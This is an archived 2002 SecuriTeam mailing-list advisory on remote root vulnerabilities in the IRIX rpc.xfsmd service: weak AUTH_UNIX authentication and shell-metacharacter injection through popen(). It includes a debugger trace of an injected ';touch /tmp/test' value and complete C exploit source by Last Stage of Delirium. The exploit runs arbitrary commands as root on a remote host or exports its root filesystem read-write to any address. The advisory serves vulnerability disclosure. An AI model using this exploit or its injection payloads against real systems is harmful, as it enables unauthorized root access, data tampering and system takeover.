[UNIX] IRIX rpc.xfsmd Multiple Remote Root Vulnerabilities
From: support@securiteam.comDate: 06/21/02
- Previous message: support@securiteam.com: "[UNIX] DoS on IRSSI"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Fri, 21 Jun 2002 22:02:21 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
IRIX rpc.xfsmd Multiple Remote Root Vulnerabilities
------------------------------------------------------------------------
SUMMARY
There are multiple vulnerabilities in the xfsmd service. Due to weak RPC
authentication scheme remote calls of potentially dangerous RPC functions
provided by xfsmd service can be performed. The other problem with xfsmd
is in the way it uses the libc popen() function call. When appropriately
exploited any of these vulnerabilities can lead to the remote root access
on a vulnerable system.
DETAILS
There have been found several remotely exploitable vulnerabilities in the
IRIX rpc.xfsmd service, which when properly exploited can result in an
unauthorized root access to the vulnerable system. SGI was informed about
this issue and assigned this bug number 858714.
Xfsmd service is installed and started by default on all versions of the
IRIX operating system starting from version 6.2 to 6.5.16 (after full OS
installation). This daemon provides functionality related with xfs file
systems and disk volumes (xlv) management. Xfsmd handles requests for file
system creation, mounting and unmounting. Through xfsmd, file systems'
parameters can be modified as well as the whole partitions can be managed.
Xfsmd is registered in IRIX operating system as RPC service number 391016.
There are multiple vulnerabilities in the xfsmd service. Below you will
find the detailed descriptions for all of them.
1. Weak authentication
The first problem with xfsmd service is its weak RPC authentication scheme
that is based on AUTH_UNIX RPC type. Such an authentication scheme can be
easily bypassed what in result creates the possibility to remotely call
potentially dangerous RPC functions, the ones that would allow to mount,
unomunt, create, delete or modify xfs file systems on a vulnerable host.
The possibility to perform such actions in the UNIX system is obviously
equivalent to gaining root user privileges.
In our proof of concept code for the rpc.xfsmd, weak RPC authentication
scheme is exploited by forcing xfsmd to export any file system with read
and write privileges for everyone. Specifically, a call to xfsexport_1()
RPC function is made in order to accomplish this goal. Besides this
function, there are several others that can be called remotely by an
attacker after bypassing AUTH_UNIX authentication scheme. Below, we
present some of them and provide brief description of the action that can
be performed upon their use.
xfscreate_1() - allows for the creation of new file systems
xfsedit_1() - allows for modification of a given file systems' parameters
xfsexport_1() - allows to export a given file system
xfsmount_1() - allows to mount a given file system
xfsdelete_1() - allows to delete a given file system
2. popen() vulnerabilities
The other vulnerability that we have found in xfsmd service is the result
of bad coding practice and the way popen() function is called throughout
the xfsmd code. Xfsmd RPC functions use the popen() call for invoking
several external programs, that provide it with required, file system
related functionality. As an argument to the popen() function call, a user
provided argument is given without any checks for shell metacharacters,
such as ';' or '''.
In our proof of concept code, the rpc.xfsmd popen() vulnerability is
illustrated in a case of RPC xfsexport_1() function call. When
xfsexport_1() is invoked, a function call to xfsExportInternal() is made.
In xfsExportInternal(), first some checks of user provided parameters are
done and if successful, a call to xfs_export() is made. In this latter
call a structure filled with user provided arguments is created and it
contains the name of the file system to be exported and options for
exportfs command, executed via popen(). In xfs_export(), a call to
external program /usr/etc/exportfs is made through the use of popen()
function. As export options passed to the called exportfs program come
from the user provided arguments, there exist an easy way to execute
arbitrary commands on the vulnerable IRIX system. It is only required that
the option string for the exportfs command should be constructed according
to the ";command" scheme. For example it could be set to ";touch
/tmp/test" in order to execute "touch /tmp/test" command.
Below you will find a trace of the xfsmd program execution done with the
use of our bptrace tool. It clearly illustrates the above description of
the popen() vulnerability in xfsmd.
breakpoint trace [version 1.4]
copyright by LAST STAGE OF DELIRIUM 1998 Poland
found 624 symbols
624 breakpoints enabled, 0 disabled, 0 aliases
==> attaching process 325621 (/usr/etc/xfsmd)
[325621] 0x0fa397b4 1 memset(0x7fff26a0,0,128)
[325621] 0x0fa397ac 1 bzero(0x7fff288c,4)
[325621] 0x0fa397b4 2 memset(0x7fff288c,0,4)
[325621] 0x00421da0 1 xdr_nametype()
[325621] 0x0fb055e0 1 xdr_string()
[325621] 0x0fa2ea48 1 malloc(38)
---------------------
[325621] 0x0040ad40 1 xfsexport_1()
---------------------
[325621] 0x0040951c 1 xdr_free()
[325621] 0x00421e7c 1 xdr_xfs_result()
[325621] 0x00421da0 2 xdr_nametype()
[325621] 0x0fb055e0 2 xdr_string()
[325621] 0x0fa2f1d8 1 free(0x1001add8)
[325621] 0x0fb0516c 1 xdr_int()
Weak authenticate function
--------------------
[325621] 0x0040a6a4 1 authenticate()
--------------------
[325621] 0x0fa2f994 1 gethostname()
[325621] 0x0fa37008 1 strtok("symul",".")
[325621] 0x0fa2e640 1 strcpy(0x7fff1610,"symul")
[325621] 0x0fa4b0d0 1 getdomainname()
[325621] 0x0fa2fe38 1 strcat("symul",".")
[325621] 0x0fa2fe38 2 strcat("symul.","")
[325621] 0x0fa34330 1 strcmp("symul.","symul.")
-------------------
[325621] 0x0040f3bc 1 xfsExportInternal()
------------------
[325621] 0x0fa3972c 1 strdup("XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;")
[325621] 0x0fa2e590 2 strlen("XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;")
[325621] 0x0fa2ea48 2 malloc(38)
[325621] 0x0fa2e640 2 strcpy(0x1001add8,"XFS_MNT_DIR:/tmp\nroot:;touch
/tmp/test;")
[325621] 0x0fa37008 2 strtok("XFS_MNT_DIR:/tmp\nroot:;touch
/tmp/test;","\n")
[325621] 0x004193bc 1 xfsmGetKeyValue()
[325621] 0x0fa2e780 1 strchr("XFS_MNT_DIR:/tmp",':')
[325621] 0x0fa34330 2 strcmp("/tmp","false")
[325621] 0x0fa34330 3 strcmp("/tmp","FALSE")
[325621] 0x0fa34330 4 strcmp("XFS_MNT_DIR","XFS_FS_NAME")
[325621] 0x0fa2ea48 3 malloc(38)
....
[325621] 0x0fa2e640 3 strcpy(0x1001a828,"XFS_MNT_DIR:/tmp\nroot:;touch
/tmp/test;")
[325621] 0x0fa37008 5 strtok("XFS_MNT_DIR:/tmp\nroot:;touch
/tmp/test;","\n")
[325621] 0x004193bc 3 xfsmGetKeyValue()
[325621] 0x0fa2e780 3 strchr("XFS_MNT_DIR:/tmp",':')
[325621] 0x0fa34330 11 strcmp("XFS_MNT_DIR","rw,root")
[325621] 0x0040ca98 1 create_option_str()
[325621] 0x0fa34330 12 strcmp("XFS_MNT_DIR","rw")
[325621] 0x0fa34330 13 strcmp("XFS_MNT_DIR","root")
....
[325621] 0x0fa34498 1 realloc(0x100173c0,25)
[325621] 0x0fa2fe38 4 strcat("root=;touch /tmp/test;,","rw,")
[325621] 0x0fa2f9d4 1 strrchr("root=;touch /tmp/test;,rw,",',')
[325621] 0x0fa397b4 3 memset(0x1001a8a7,0,1)
[325621] 0x0fa2f1d8 2 free(0x1001a828)
---------------------------
[325621] 0x00414904 1 xfs_export()
---------------------------
[325621] 0x0041a750 1 isvalidmntpt()
[325621] 0x0fa2e780 5 strchr("/tmp",' ')
[325621] 0x0fa4d628 3 strstr("/tmp","/./")
[325621] 0x0fa4d628 4 strstr("/tmp","/../")
[325621] 0x0fa31494 1 strncmp("/tmp","/tmp/",5)
[325621] 0x0fa2e1a0 1 stat("/tmp",0x7ffef314)
[325621] 0x0041457c 1 export_fs()
[325621] 0x0fa3190c 2 sprintf(0x7ffef2a0,"/usr/etc/exportfs -i -o %s %s
2>&1",...)
[325621] 0x0fa2e590 8 strlen("root=;touch /tmp/test;,rw")
[325621] 0x0fa2e590 9 strlen("/tmp")
popen("/usr/etc/exportfs -i -o /tmp ;touch /tmp/test")
---------------------------
[325621] 0x00416890 1 xfs_popen()
---------------------------
[325621] 0x0fa3ef74 1 pipe(2147406432)
[325621] 0x0fa3dd98 1 fork()
==> process 325621 forking to 325091
==> attaching process 325091 (/usr/etc/xfsmd)
[325091] 0x0fa2e290 1 close(4)
[325621] 0x0fa2e290 1 close(5)
[325091] 0x0fa2e290 2 close(1)
[325621] 0x0fa56c44 1 fdopen()
[325091] 0x004098f0 1 fcntl(5,F_DUPFD,0x00000001)
[325621] 0x0fa307fc 1 fgets()
[325091] 0x0fa2e290 3 close(2)
[325621] 0x0fa2ea48 5 malloc(4104)
[325091] 0x0fa2e290 4 close(5)
[325621] 0x0fa34b0c 1 _cerror()
[325091] 0x00409904 1 execl("/sbin/sh","sh",...)
==> process 325091 executing /sbin/sh
found 368 symbols
368 breakpoints enabled, 0 disabled, 0 aliases
==> process 325091 forking to 325665
==> attaching process 325665 (/sbin/sh)
==> process 325665 executing /usr/etc/exportfs
found 68 symbols
68 breakpoints enabled, 0 disabled, 0 aliases
[325665] 0x100045c8 1 __istart()
[325665] 0x0fa33780 1 __readenv_sigfpe()
[325665] 0x10001b2c 1 main()
[325665] 0x10003364 1 parseargs()
[325665] 0x10001dbc 1 printexports()
[325665] 0x0fa33bf4 1 fopen("/etc/xtab","r")
[325665] 0x0fa8cd4c 1 getexportent()
.......
[325621] 0x0fa2e640 5 strcpy(0x100173c0,"nothing exported\n")
[325621] 0x0fa307fc 2 fgets()
==> process 325665 terminated
==> process 325091 forking to 325653
==> attaching process 325653 (/sbin/sh)
==> process 325653 executing /bin/touch
found 24 symbols
24 breakpoints enabled, 0 disabled, 0 aliases
[325653] 0x0fa5cb88 1 close(4)
[325653] 0x100023e0 1 __istart()
[325653] 0x0fa33780 1 __readenv_sigfpe()
[325653] 0x10001ac8 1 main()
.......
[325653] 0x0fa5cdbc 1 creat("/tmp/test",438)
[325653] 0x0fa5cb88 2 close(4)
[325653] 0x0fa58954 2 stat64()
[325653] 0x0fa56a2c 1 utime()
[325653] 0x0fa363b8 1 exit(0)
==> process 325653 terminated
Below, several other RPC functions are listed which can be successfully
exploited to run arbitrary commands with root user privileges on a remote
IRIX system through the bad use of popen() function call in xfsmd:
xfscreate_1() - new file system creation
xfsexport_1() - file system export
xfsunexport_1() - file system unexport
xfsmount_1() - file system mount
xfsunmount_1() - file system unmount
Exploit:
*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland *://lsd-pl.net/ #*/
/*## xfsmd #*/
/* this code forces xfsmd to execute any command on remote IRIX host or */
/* to export any file system from it with read/write privileges. */
/* the exploit requires that DNS is properly configured on an attacked */
/* host. additionally, if the file systems are to be exported from a */
/* vulnerable system, it must have NFS subsystem running. */
/* example usage: */
/* xfsmd address -c "touch /etc/lsd" */
/* (executes "touch /etc/lsd" command as root user on a vulnerable host)
*/
/* xfsmd address -e 10.0.0.1 -d "/" */
/* (exports / filesystem to the 10.0.0.1 host with rw privileges) */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
#define XFS_PROG 391016
#define XFS_VERS 1
#define XFS_EXPORT 13
typedef char *req_t;
typedef struct{char *str1;int errno;}res_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
if(!xdr_string(xdrs,objp,~0)) return(FALSE);
return(TRUE);
}
bool_t xdr_res(XDR *xdrs,res_t *objp){
if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char command[10000],*h,*cmd,*hst=NULL,*dir="/etc";
int i,port=0,flag=0,c;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
res_t res;
printf("copyright LAST STAGE OF DELIRIUM Sep 1999 poland
//lsd-pl.net/\n");
printf("rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\n\n");
if(argc<3){
printf("usage: %s address -c \"command\" [-p port]\n",argv[0]);
printf(" %s address -e address [-d dir] [-p port]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"c:p:e:d:"))!=-1){
switch(c){
case 'c': flag=0;cmd=optarg;break;
case 'e': flag=1;hst=optarg;break;
case 'd': dir=optarg;break;
case 'p': port=atoi(optarg);
}
}
req=command;
if(!flag){
printf("executing %s command... ",cmd);
sprintf(req,"XFS_MNT_DIR:/tmp\nroot:;%s;",cmd);
}else{
printf("exporting %s directory to %s... ",dir,hst);
sprintf(req,"XFS_FS_NAME:%s\nroot:%s\n",dir,hst);
}
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}else{
if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
}
if((h=(char*)strchr(hp->h_name,'.'))!=NULL) *(h+1)=0;
else strcat(hp->h_name,".");
i=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
if(stat!=RPC_SUCCESS) {clnt_perror(cl,"error");exit(-1);}
printf("%s\n",(!flag)?"ok":((!res.errno)?"ok":"failed"));
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:contact@lsd-pl.net> Last
Stage of Delirium.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] DoS on IRSSI"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [LSD] IRIX rpc.xfsmd multiple remote root vulnerabilities
... We have found several remotely exploitable vulnerabilities in the IRIX rpc.xfsmd ...
Xfsmd service is installed and started by default on all versions of the ... Xfsmd handles
requests for file system ... There are multiple vulnerabilities in the xfsmd service.
... (Bugtraq) - NFS problem
... while it is not working with file system shared on ... But I got stuck with
mounting root file ... This is how boot process ends when I use Celerra as NFS server:
... Looking up port of RPC 100003/2 on aaa.bbb.ccc.xxx ... (SunManagers)